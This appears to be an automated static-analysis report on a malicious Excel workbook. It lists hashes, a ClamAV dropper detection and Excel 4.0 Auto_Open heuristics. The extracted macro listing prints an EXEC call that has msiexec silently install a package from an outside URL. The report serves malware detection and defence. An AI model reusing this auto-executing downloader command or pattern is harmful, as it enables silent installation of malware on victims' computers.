Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3abe0d5b11b52ad6…

MALICIOUS

Office (OLE)

49.0 KB Created: 2018-12-19 10:42:12 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 8cd3b60b167de2897aa6abf75b643d48 SHA-1: 61bda7e0aa13dfd420c4ac8520b9a9f4df1be711 SHA-256: 3abe0d5b11b52ad6b3805c752f920bc34a56c4ddcf36bcbe448ea708a6c66467
322 Risk Score

Heuristics 7

  • ClamAV: Xls.Dropper.Agent-7116078-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7116078-0
  • XLM Auto_Open workbook with payload URL or enable-content lure critical OLE_XLM_AUTOOPEN_PAYLOAD_LURE
    Workbook contains an Excel 4.0 macro sheet with Auto_Open / Auto_Close and also exposes a payload URL or enable-content lure in the OLE bytes. This combination is a high-confidence XLM downloader/social-engineering pattern even when formula recovery cannot decode the full macro chain.
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://office365homepod.com/genhost Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 871 bytes
SHA-256: 99f306c14f7c8c7dbb583c5a2ed34333a5f1bf2815545c98c3eef560145e929a
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -    0 : 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0018     31 LABEL : Cell Value, String Constant - Auto_Open len=7 ptgRef3d    0 : !A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'    0 : ,A1,EXEC("msiexec.exe back=001 error=exit /i http://office365homepod.com/genhost /q OnLoad='c:\windows\calc.exe'"),""
'    0 : ,A2,HALT(),""

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